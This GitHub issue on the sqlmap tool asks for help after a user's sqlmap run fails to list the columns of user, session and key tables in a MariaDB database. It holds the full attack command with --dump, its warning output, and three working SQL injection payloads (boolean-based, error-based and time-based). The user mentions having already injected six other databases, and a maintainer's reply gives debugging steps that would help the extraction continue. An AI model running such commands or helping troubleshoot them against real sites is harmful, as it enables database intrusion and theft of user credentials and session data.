Skip to content

can't get the columns from the tables #5548

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed
theblackattacker opened this issue Oct 17, 2023 · 1 comment
Closed

can't get the columns from the tables #5548

theblackattacker opened this issue Oct 17, 2023 · 1 comment

Comments

@theblackattacker
Copy link

theblackattacker commented Oct 17, 2023

Describe the bug
A clear and concise description of what the bug is.

To Reproduce

  1. Run '...'
    sqlmap -u "https://help:443/id?=xx" --cookie="xxxxxxx; help_help" --user-agent="Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) " --delay=0 --timeout=30 --retries=0 --dbms="MariaDB" --os=Linux --level=3 --risk=1 --threads=1 --time-sec=5 --technique=BEUSTQ -b --current-user --dbs --dump --batch --answers="crack=N,dict=N,continue=Y,quit=N"

  2. See error
    [23:25:09] [WARNING] unable to retrieve column names for table '#__users' in database 'xxx'
    [23:25:09] [WARNING] unable to enumerate the columns for table '#__session' in database 'xxxx', skipping
    [23:25:09] [INFO] fetching columns for table '#__user_keys' in database 'xxxxxxx'
    [23:25:10] [WARNING] unable to retrieve column names for table '#__user_keys' in database 'xxxx'
    [23:25:10] [WARNING] unable to enumerate the columns for table '#__userdb' in database 'xxx', skipping
    [23:25:10] [INFO] fetching columns for table '#__jcomments_vo' in database 'xxxxx'

Expected behavior
A clear and concise description of what you expected to happen.
i have other 6 DB i did inejected them , but this DB the Tables has hashtags , i couldnt , even i deleted the hashtages , or ___ nothing happend

Running environment:

Target details:

  • DBMS [e.g. Microsoft SQL Server]

  • MariaDB

  • SQLi techniques found by sqlmap [e.g. error-based and boolean-based blind]
    Parameter: id(GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=' AND 1502=1502 OR 'TMFz'='

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: id1=' AND EXTRACTVALUE(6489,CONCAT(0x5c,0x716a786b71,(SELECT (ELT(6489=6489,1))),0x7170767871)) OR 'hDjE'='0

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=' AND (SELECT 8483 FROM (SELECT(SLEEP(5)))HQxL) OR 'Ujcm'='pROV&


How can i solve this issue ?

@stamparm
Copy link
Member

you have error-based SQLi. that means that you have the most grateful target for debugging - i.e. to see what's going on in error messages. restart your dump and run with -t traffic.txt --parse-errors. Afterwards, inspect the content of traffic.txt

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

2 participants